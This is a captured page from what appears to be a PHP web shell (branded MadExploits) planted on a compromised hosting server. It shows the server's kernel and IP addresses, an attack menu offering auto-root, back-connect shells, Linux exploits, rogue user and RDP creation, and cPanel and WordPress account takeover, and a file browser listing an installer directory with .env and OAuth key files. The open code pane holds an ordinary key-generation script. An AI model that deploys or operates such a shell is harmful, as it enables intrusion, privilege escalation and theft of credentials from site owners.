Linux server.nvwebsoft.co.in 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Apache
: 162.240.12.249 | : 3.17.78.184
202 Domain
8.1.31
nbspublicschool
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
softaculous /
firefly /
[ HOME SHELL ]
Name
Size
Permission
Action
images
[ DIR ]
drwxr-xr-x
php53
[ DIR ]
drwxr-xr-x
php56
[ DIR ]
drwxr-xr-x
php71
[ DIR ]
drwxr-xr-x
php81
[ DIR ]
drwxr-xr-x
php82
[ DIR ]
drwxr-xr-x
.env
12
KB
-rw-r--r--
.htaccess
372
B
-rw-r--r--
changelog.txt
8.03
KB
-rw-r--r--
clone.php
7.87
KB
-rw-r--r--
edit.php
4.46
KB
-rw-r--r--
edit.xml
447
B
-rw-r--r--
extend.php
9.96
KB
-rw-r--r--
fileindex.php
359
B
-rw-r--r--
import.php
2.99
KB
-rw-r--r--
info.xml
4.05
KB
-rw-r--r--
install.js
924
B
-rw-r--r--
install.php
6.23
KB
-rw-r--r--
install.xml
1.5
KB
-rw-r--r--
md5
2.86
KB
-rw-r--r--
notes.txt
1.5
KB
-rw-r--r--
oauth-private.key
16
B
-rw-r--r--
oauth-public.key
15
B
-rw-r--r--
update_keys.php
2.1
KB
-rw-r--r--
update_pass.php
516
B
-rw-r--r--
upgrade.php
6.7
KB
-rw-r--r--
upgrade.xml
617
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : update_keys.php
<?php global $key, $error; $key = base64_decode('[[APP_KEY]]'); //Required to autoload the namespaces require_once 'vendor/autoload.php'; use Ramsey\Uuid\Uuid; use phpseclib3\Crypt\RSA; $uuid5 = (string)Uuid::uuid5(Uuid::NAMESPACE_URL, 'firefly-iii.org'); //This is to generate public and private key pairs(of 4096 bits) using phpseclib's RSA class's createKey() function and store the keys in database $keys = array(); $keys = RSA::createKey(4096); $public_key = (string)$keys->getPublicKey(); $private_key = (string)$keys; echo '<private_key>'.$private_key.'</private_key>'; echo '<public_key>'.$public_key.'</public_key>'; //Encrypting the keys $uuid5_enc = json_encode($uuid5); $private_key_enc = json_encode(__encrypt($private_key)); $public_key_enc = json_encode(__encrypt($public_key)); echo '<installation_id>'.$uuid5_enc.'</installation_id>'; echo '<private_key_enc>'.$private_key_enc.'</private_key_enc>'; echo '<public_key_enc>'.$public_key_enc.'</public_key_enc>'; function __encrypt($value, $serialize = true) { global $key, $error; $cipher = 'AES-256-CBC'; //$this->cipher $iv = random_bytes(openssl_cipher_iv_length($cipher)); // First we will encrypt the value using OpenSSL. After this is encrypted we // will proceed to calculating a MAC for the encrypted value so that this // value can be verified later as not having been changed by the users. $value = openssl_encrypt( $serialize ? serialize($value) : $value, $cipher, $key, 0, $iv ); if ($value === false) { $error[] = 'Could not encrypt the data.'; } // Once we get the encrypted value we'll go ahead and base64_encode the input // vector and create the MAC for the encrypted value so we can then verify // its authenticity. Then, we'll JSON the data into the "payload" array. $mac = __hash($iv = base64_encode($iv), $value); $json = json_encode(compact('iv', 'value', 'mac')); if (json_last_error() !== JSON_ERROR_NONE) { $error[] = 'Could not encrypt the data.'; } return base64_encode($json); } function __hash($iv, $value) { global $key; return hash_hmac('sha256', $iv.$value, $key); } @unlink('update_keys.php'); ?>
Close